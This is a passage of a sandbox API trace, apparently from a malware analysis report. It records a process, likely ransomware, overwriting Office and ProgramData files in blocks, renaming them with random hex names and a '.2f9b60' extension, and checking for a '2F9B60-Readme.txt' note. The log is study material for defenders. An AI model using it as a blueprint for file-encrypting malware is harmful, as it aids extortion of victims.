dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xab4 [0115.700] GetFileSizeEx (in: hFile=0xab4, lpFileSize=0x396efae0 | out: lpFileSize=0x396efae0*=5078) returned 1 [0115.700] SetFilePointerEx (in: hFile=0xab4, liDistanceToMove=0x13d2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.700] ReadFile (in: hFile=0xab4, lpBuffer=0x396efa60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x396efaa8, lpOverlapped=0x0 | out: lpBuffer=0x396efa60*, lpNumberOfBytesRead=0x396efaa8*=0x4, lpOverlapped=0x0) returned 1 [0115.725] SetFilePointerEx (in: hFile=0xab4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9a60 [0115.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9670 [0115.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a95e0 [0115.725] NtQuerySystemTime (in: CurrentTime=0x396ef9a0 | out: CurrentTime=0x396ef9a0*=132462177211882000) returned 0x0 [0115.725] RtlRandomEx (in: Seed=0x396ef990 | out: Seed=0x396ef990) returned 0x7888a72 [0115.725] RtlRandomEx (in: Seed=0x396ef990 | out: Seed=0x396ef990) returned 0x143efbef [0115.725] RtlRandomEx (in: Seed=0x396ef990 | out: Seed=0x396ef990) returned 0x414f2635 [0115.725] RtlRandomEx (in: Seed=0x396ef990 | out: Seed=0x396ef990) returned 0x3fd7c7d8 [0115.725] RtlRandomEx (in: Seed=0x396ef990 | out: Seed=0x396ef990) returned 0x72bef5f7 [0115.725] RtlRandomEx (in: Seed=0x396ef990 | out: Seed=0x396ef990) returned 0x634271cc [0115.725] RtlRandomEx (in: Seed=0x396ef990 | out: Seed=0x396ef990) returned 0x47924b64 [0115.725] RtlRandomEx (in: Seed=0x396ef990 | out: Seed=0x396ef990) returned 0x589fc8e [0115.725] RtlRandomEx (in: Seed=0x396ef990 | out: Seed=0x396ef990) returned 0x29fda6a7 [0115.725] RtlRandomEx (in: Seed=0x396ef990 | out: Seed=0x396ef990) returned 0x1ed8de57 [0115.725] RtlRandomEx (in: Seed=0x396ef990 | out: Seed=0x396ef990) returned 0x77b6b2b1 [0115.725] RtlRandomEx (in: Seed=0x396ef990 | out: Seed=0x396ef990) returned 0x7c8ab686 [0115.725] RtlRandomEx (in: Seed=0x396ef990 | out: Seed=0x396ef990) returned 0x1e373f6 [0115.725] RtlRandomEx (in: Seed=0x396ef990 | out: Seed=0x396ef990) returned 0x6dce2b34 [0115.725] RtlRandomEx (in: Seed=0x396ef990 | out: Seed=0x396ef990) returned 0x714e0fc9 [0115.725] RtlRandomEx (in: Seed=0x396ef990 | out: Seed=0x396ef990) returned 0x6be91636 [0115.725] RtlRandomEx (in: Seed=0x396ef990 | out: Seed=0x396ef990) returned 0x1c5cabeb [0115.725] RtlRandomEx (in: Seed=0x396ef990 | out: Seed=0x396ef990) returned 0x2dd08458 [0115.726] RtlRandomEx (in: Seed=0x396ef990 | out: Seed=0x396ef990) returned 0x2b9805c9 [0115.726] RtlRandomEx (in: Seed=0x396ef990 | out: Seed=0x396ef990) returned 0x139248f3 [0115.726] RtlRandomEx (in: Seed=0x396ef990 | out: Seed=0x396ef990) returned 0x5bff2a80 [0115.726] RtlRandomEx (in: Seed=0x396ef990 | out: Seed=0x396ef990) returned 0x77bd5d30 [0115.726] RtlRandomEx (in: Seed=0x396ef990 | out: Seed=0x396ef990) returned 0x1c93613 [0115.726] RtlRandomEx (in: Seed=0x396ef990 | out: Seed=0x396ef990) returned 0x32c9e124 [0115.726] RtlRandomEx (in: Seed=0x396ef990 | out: Seed=0x396ef990) returned 0x1386f209 [0115.726] RtlRandomEx (in: Seed=0x396ef990 | out: Seed=0x396ef990) returned 0x23f61c1e [0115.726] RtlRandomEx (in: Seed=0x396ef990 | out: Seed=0x396ef990) returned 0x7f3bae3d [0115.726] RtlRandomEx (in: Seed=0x396ef990 | out: Seed=0x396ef990) returned 0x259d0aa8 [0115.726] RtlRandomEx (in: Seed=0x396ef990 | out: Seed=0x396ef990) returned 0x6ca19cfe [0115.726] RtlRandomEx (in: Seed=0x396ef990 | out: Seed=0x396ef990) returned 0x45ca43e1 [0115.726] RtlRandomEx (in: Seed=0x396ef990 | out: Seed=0x396ef990) returned 0x61c19589 [0115.726] RtlRandomEx (in: Seed=0x396ef990 | out: Seed=0x396ef990) returned 0x1fb6deab [0115.733] ReadFile (in: hFile=0xab4, lpBuffer=0x201500b0, nNumberOfBytesToRead=0x13d6, lpNumberOfBytesRead=0x396ef990, lpOverlapped=0x0 | out: lpBuffer=0x201500b0*, lpNumberOfBytesRead=0x396ef990*=0x13d6, lpOverlapped=0x0) returned 1 [0115.888] SetFilePointerEx (in: hFile=0xab4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.888] WriteFile (in: hFile=0xab4, lpBuffer=0x2016e130*, nNumberOfBytesToWrite=0x13d6, lpNumberOfBytesWritten=0x396ef994, lpOverlapped=0x0 | out: lpBuffer=0x2016e130*, lpNumberOfBytesWritten=0x396ef994*=0x13d6, lpOverlapped=0x0) returned 1 [0115.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263830 [0115.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261250 [0115.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261250) returned 1 [0115.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2016e130) returned 1 [0115.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201500b0) returned 1 [0115.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8688c0) returned 1 [0115.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0115.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20261250 [0115.912] SetFilePointerEx (in: hFile=0xab4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0115.912] WriteFile (in: hFile=0xab4, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x396efab0, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x396efab0*=0x10a, lpOverlapped=0x0) returned 1 [0115.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3a0 [0115.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868840 [0115.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202623c0 [0115.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202623c0) returned 1 [0115.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0115.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202623c0 [0115.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260890 [0115.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260890) returned 1 [0115.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868840) returned 1 [0115.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3a0) returned 1 [0115.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8340 [0115.961] sprintf (in: _Dest=0x1b7d8340, _Format="%c%c" | out: _Dest="b4") returned 2 [0115.961] sprintf (in: _Dest=0x1b7d8342, _Format="%c%c" | out: _Dest="52") returned 2 [0115.961] sprintf (in: _Dest=0x1b7d8344, _Format="%c%c" | out: _Dest="b3") returned 2 [0115.961] sprintf (in: _Dest=0x1b7d8346, _Format="%c%c" | out: _Dest="59") returned 2 [0115.961] sprintf (in: _Dest=0x1b7d8348, _Format="%c%c" | out: _Dest="f2") returned 2 [0115.961] sprintf (in: _Dest=0x1b7d834a, _Format="%c%c" | out: _Dest="24") returned 2 [0115.961] sprintf (in: _Dest=0x1b7d834c, _Format="%c%c" | out: _Dest="b3") returned 2 [0115.961] sprintf (in: _Dest=0x1b7d834e, _Format="%c%c" | out: _Dest="a7") returned 2 [0115.961] sprintf (in: _Dest=0x1b7d8350, _Format="%c%c" | out: _Dest="32") returned 2 [0115.961] sprintf (in: _Dest=0x1b7d8352, _Format="%c%c" | out: _Dest="ce") returned 2 [0115.961] sprintf (in: _Dest=0x1b7d8354, _Format="%c%c" | out: _Dest="8d") returned 2 [0115.961] sprintf (in: _Dest=0x1b7d8356, _Format="%c%c" | out: _Dest="7a") returned 2 [0115.961] sprintf (in: _Dest=0x1b7d8358, _Format="%c%c" | out: _Dest="dc") returned 2 [0115.961] sprintf (in: _Dest=0x1b7d835a, _Format="%c%c" | out: _Dest="eb") returned 2 [0115.961] sprintf (in: _Dest=0x1b7d835c, _Format="%c%c" | out: _Dest="42") returned 2 [0115.961] sprintf (in: _Dest=0x1b7d835e, _Format="%c%c" | out: _Dest="b2") returned 2 [0115.961] sprintf (in: _Dest=0x1b7d8360, _Format="%c%c" | out: _Dest="80") returned 2 [0115.962] sprintf (in: _Dest=0x1b7d8362, _Format="%c%c" | out: _Dest="bd") returned 2 [0115.962] sprintf (in: _Dest=0x1b7d8364, _Format="%c%c" | out: _Dest="34") returned 2 [0115.962] sprintf (in: _Dest=0x1b7d8366, _Format="%c%c" | out: _Dest="b5") returned 2 [0115.962] sprintf (in: _Dest=0x1b7d8368, _Format="%c%c" | out: _Dest="1a") returned 2 [0115.962] sprintf (in: _Dest=0x1b7d836a, _Format="%c%c" | out: _Dest="cc") returned 2 [0115.962] sprintf (in: _Dest=0x1b7d836c, _Format="%c%c" | out: _Dest="63") returned 2 [0115.962] sprintf (in: _Dest=0x1b7d836e, _Format="%c%c" | out: _Dest="e6") returned 2 [0115.962] RtlInitAnsiString (in: DestinationString=0x396efb28, SourceString="b452b359f224b3a732ce8d7adceb42b280bd34b51acc63e6" | out: DestinationString="b452b359f224b3a732ce8d7adceb42b280bd34b51acc63e6") [0115.962] RtlAnsiStringToUnicodeString (in: DestinationString=0x396efaf8, SourceString="b452b359f224b3a732ce8d7adceb42b280bd34b51acc63e6", AllocateDestinationString=1 | out: DestinationString="b452b359f224b3a732ce8d7adceb42b280bd34b51acc63e6") returned 0x0 [0115.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9780 [0115.962] wcscat (in: _Dest=0x1b7acf80, _Source="b452b359f224" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\b452b359f224") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\b452b359f224" [0115.962] wcscat (in: _Dest=0x1b7acf80, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\b452b359f224.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\b452b359f224.2f9b60" [0115.962] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\b452b359f224.2f9b60", NtPathName=0x396efad0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\b452b359f224.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0115.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050b8a0 [0115.963] NtSetInformationFile (FileHandle=0xab4, IoStatusBlock=0x396efb70, FileInformation=0x2050b8a0, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0115.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b8a0) returned 1 [0115.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48d60) returned 1 [0115.989] NtQueryInformationFile (in: FileHandle=0xab4, IoStatusBlock=0x396efb38, FileInformation=0x396efb48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x396efb38, FileInformation=0x396efb48) returned 0x0 [0115.989] NtSetInformationFile (FileHandle=0xab4, IoStatusBlock=0x396efb38, FileInformation=0x396efb48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0115.991] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7acf80) returned 1 [0115.991] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9780) returned 1 [0115.991] FlushFileBuffers (hFile=0xab4) returned 1 [0115.993] CloseHandle (hObject=0xab4) returned 1 [0115.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86afb0 [0115.995] wcscpy (in: _Dest=0x1b86afb0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0115.995] wcscat (in: _Dest=0x1b86afb0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0115.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0115.995] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86afb0) returned 1 [0115.995] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b310) returned 1 Thread: id = 1253 os_tid = 0xd40 [0115.738] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\cache.dat" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\cache\\cache.dat")) returned 0x2020 [0115.738] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\cache.dat", dwFileAttributes=0x20) returned 1 [0115.740] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\cache.dat" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\cache\\cache.dat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1660 [0115.740] GetFileSizeEx (in: hFile=0x1660, lpFileSize=0x39bafc40 | out: lpFileSize=0x39bafc40*=262768) returned 1 [0115.740] SetFilePointerEx (in: hFile=0x1660, liDistanceToMove=0x4026c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.740] ReadFile (in: hFile=0x1660, lpBuffer=0x39bafbc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x39bafc08, lpOverlapped=0x0 | out: lpBuffer=0x39bafbc0*, lpNumberOfBytesRead=0x39bafc08*=0x4, lpOverlapped=0x0) returned 1 [0115.877] SetFilePointerEx (in: hFile=0x1660, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202626f0 [0115.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202619a0 [0115.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263bc0 [0115.877] NtQuerySystemTime (in: CurrentTime=0x39bafb00 | out: CurrentTime=0x39bafb00*=132462177213442000) returned 0x0 [0115.877] RtlRandomEx (in: Seed=0x39bafaf0 | out: Seed=0x39bafaf0) returned 0x11f53f82 [0115.877] RtlRandomEx (in: Seed=0x39bafaf0 | out: Seed=0x39bafaf0) returned 0x40f80f53 [0115.877] RtlRandomEx (in: Seed=0x39bafaf0 | out: Seed=0x39bafaf0) returned 0x5af4a074 [0115.877] RtlRandomEx (in: Seed=0x39bafaf0 | out: Seed=0x39bafaf0) returned 0x71ff3d63 [0115.877] RtlRandomEx (in: Seed=0x39bafaf0 | out: Seed=0x39bafaf0) returned 0x371d35c3 [0115.877] RtlRandomEx (in: Seed=0x39bafaf0 | out: Seed=0x39bafaf0) returned 0x314aeef2 [0115.877] RtlRandomEx (in: Seed=0x39bafaf0 | out: Seed=0x39bafaf0) returned 0x696bf49e [0115.877] RtlRandomEx (in: Seed=0x39bafaf0 | out: Seed=0x39bafaf0) returned 0x4ce464cb [0115.877] RtlRandomEx (in: Seed=0x39bafaf0 | out: Seed=0x39bafaf0) returned 0x1ff23806 [0115.877] RtlRandomEx (in: Seed=0x39bafaf0 | out: Seed=0x39bafaf0) returned 0x452457b9 [0115.877] RtlRandomEx (in: Seed=0x39bafaf0 | out: Seed=0x39bafaf0) returned 0x73fa1fed [0115.877] RtlRandomEx (in: Seed=0x39bafaf0 | out: Seed=0x39bafaf0) returned 0x2abc3a27 [0115.877] RtlRandomEx (in: Seed=0x39bafaf0 | out: Seed=0x39bafaf0) returned 0x431b4185 [0115.877] RtlRandomEx (in: Seed=0x39bafaf0 | out: Seed=0x39bafaf0) returned 0x1ac180fb [0115.877] RtlRandomEx (in: Seed=0x39bafaf0 | out: Seed=0x39bafaf0) returned 0x28a73081 [0115.877] RtlRandomEx (in: Seed=0x39bafaf0 | out: Seed=0x39bafaf0) returned 0x76edce5f [0115.877] RtlRandomEx (in: Seed=0x39bafaf0 | out: Seed=0x39bafaf0) returned 0x71aa639 [0115.877] RtlRandomEx (in: Seed=0x39bafaf0 | out: Seed=0x39bafaf0) returned 0x14af7253 [0115.877] RtlRandomEx (in: Seed=0x39bafaf0 | out: Seed=0x39bafaf0) returned 0x3316a3b1 [0115.877] RtlRandomEx (in: Seed=0x39bafaf0 | out: Seed=0x39bafaf0) returned 0x38b77be4 [0115.877] RtlRandomEx (in: Seed=0x39bafaf0 | out: Seed=0x39bafaf0) returned 0x5f36b607 [0115.877] RtlRandomEx (in: Seed=0x39bafaf0 | out: Seed=0x39bafaf0) returned 0xcec3636 [0115.877] RtlRandomEx (in: Seed=0x39bafaf0 | out: Seed=0x39bafaf0) returned 0x2b6e93ef [0115.877] RtlRandomEx (in: Seed=0x39bafaf0 | out: Seed=0x39bafaf0) returned 0x3e2eafe6 [0115.878] RtlRandomEx (in: Seed=0x39bafaf0 | out: Seed=0x39bafaf0) returned 0x1b54cd25 [0115.878] RtlRandomEx (in: Seed=0x39bafaf0 | out: Seed=0x39bafaf0) returned 0x50aa90e0 [0115.878] RtlRandomEx (in: Seed=0x39bafaf0 | out: Seed=0x39bafaf0) returned 0x723998ef [0115.878] RtlRandomEx (in: Seed=0x39bafaf0 | out: Seed=0x39bafaf0) returned 0x6a09dda4 [0115.878] RtlRandomEx (in: Seed=0x39bafaf0 | out: Seed=0x39bafaf0) returned 0x1d9fef59 [0115.878] RtlRandomEx (in: Seed=0x39bafaf0 | out: Seed=0x39bafaf0) returned 0x28dc88d8 [0115.878] RtlRandomEx (in: Seed=0x39bafaf0 | out: Seed=0x39bafaf0) returned 0x4fdb9eff [0115.878] RtlRandomEx (in: Seed=0x39bafaf0 | out: Seed=0x39bafaf0) returned 0x2028eeb7 [0115.886] SetFilePointerEx (in: hFile=0x1660, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.886] ReadFile (in: hFile=0x1660, lpBuffer=0x20171d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x39bafb60, lpOverlapped=0x0 | out: lpBuffer=0x20171d40*, lpNumberOfBytesRead=0x39bafb60*=0x3c00, lpOverlapped=0x0) returned 1 [0115.917] SetFilePointerEx (in: hFile=0x1660, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0115.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8688c0 [0115.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261160 [0115.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261160) returned 1 [0115.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201500b0 [0115.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261160 [0115.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202626f0 [0115.918] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202626f0) returned 1 [0115.918] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8688c0) returned 1 [0115.918] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0115.918] WriteFile (in: hFile=0x1660, lpBuffer=0x201500b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x39bafb60, lpOverlapped=0x0 | out: lpBuffer=0x201500b0*, lpNumberOfBytesWritten=0x39bafb60*=0x3c00, lpOverlapped=0x0) returned 1 [0116.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201500b0) returned 1 [0116.039] SetFilePointerEx (in: hFile=0x1660, liDistanceToMove=0x21c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.039] ReadFile (in: hFile=0x1660, lpBuffer=0x20171d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x39bafb60, lpOverlapped=0x0 | out: lpBuffer=0x20171d40*, lpNumberOfBytesRead=0x39bafb60*=0x3c00, lpOverlapped=0x0) returned 1 [0116.040] SetFilePointerEx (in: hFile=0x1660, liDistanceToMove=0x21c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3a0 [0116.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868840 [0116.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9b80 [0116.040] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9b80) returned 1 [0116.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201500b0 [0116.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9b80 [0116.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9b50 [0116.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9b50) returned 1 [0116.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868840) returned 1 [0116.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3a0) returned 1 [0116.041] WriteFile (in: hFile=0x1660, lpBuffer=0x201500b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x39bafb60, lpOverlapped=0x0 | out: lpBuffer=0x201500b0*, lpNumberOfBytesWritten=0x39bafb60*=0x3c00, lpOverlapped=0x0) returned 1 [0116.110] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201500b0) returned 1 [0116.110] SetFilePointerEx (in: hFile=0x1660, liDistanceToMove=0x3c670, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.110] ReadFile (in: hFile=0x1660, lpBuffer=0x20171d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x39bafb60, lpOverlapped=0x0 | out: lpBuffer=0x20171d40*, lpNumberOfBytesRead=0x39bafb60*=0x3c00, lpOverlapped=0x0) returned 1 [0116.120] SetFilePointerEx (in: hFile=0x1660, liDistanceToMove=0x3c670, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bea0 [0116.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8684c0 [0116.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202635f0 [0116.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202635f0) returned 1 [0116.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201500b0 [0116.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202635f0 [0116.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260da0 [0116.121] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260da0) returned 1 [0116.121] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8684c0) returned 1 [0116.121] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bea0) returned 1 [0116.121] WriteFile (in: hFile=0x1660, lpBuffer=0x201500b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x39bafb60, lpOverlapped=0x0 | out: lpBuffer=0x201500b0*, lpNumberOfBytesWritten=0x39bafb60*=0x3c00, lpOverlapped=0x0) returned 1 [0116.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201500b0) returned 1 [0116.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced9390 [0116.639] SetFilePointerEx (in: hFile=0x1660, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0116.639] WriteFile (in: hFile=0x1660, lpBuffer=0x20507690*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x39bafc10, lpOverlapped=0x0 | out: lpBuffer=0x20507690*, lpNumberOfBytesWritten=0x39bafc10*=0x144, lpOverlapped=0x0) returned 1 [0116.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0116.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868340 [0116.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859c10 [0116.783] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859c10) returned 1 [0116.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b7d5a50 [0116.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859c10 [0116.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859fd0 [0116.784] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859fd0) returned 1 [0116.784] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868340) returned 1 [0116.784] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0116.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x1b859fd0 [0116.784] sprintf (in: _Dest=0x1b859fd0, _Format="%c%c" | out: _Dest="38") returned 2 [0116.784] sprintf (in: _Dest=0x1b859fd2, _Format="%c%c" | out: _Dest="2c") returned 2 [0116.784] sprintf (in: _Dest=0x1b859fd4, _Format="%c%c" | out: _Dest="d2") returned 2 [0116.784] sprintf (in: _Dest=0x1b859fd6, _Format="%c%c" | out: _Dest="8d") returned 2 [0116.784] sprintf (in: _Dest=0x1b859fd8, _Format="%c%c" | out: _Dest="2a") returned 2 [0116.784] sprintf (in: _Dest=0x1b859fda, _Format="%c%c" | out: _Dest="32") returned 2 [0116.784] sprintf (in: _Dest=0x1b859fdc, _Format="%c%c" | out: _Dest="68") returned 2 [0116.784] sprintf (in: _Dest=0x1b859fde, _Format="%c%c" | out: _Dest="6c") returned 2 [0116.784] sprintf (in: _Dest=0x1b859fe0, _Format="%c%c" | out: _Dest="1b") returned 2 [0116.784] sprintf (in: _Dest=0x1b859fe2, _Format="%c%c" | out: 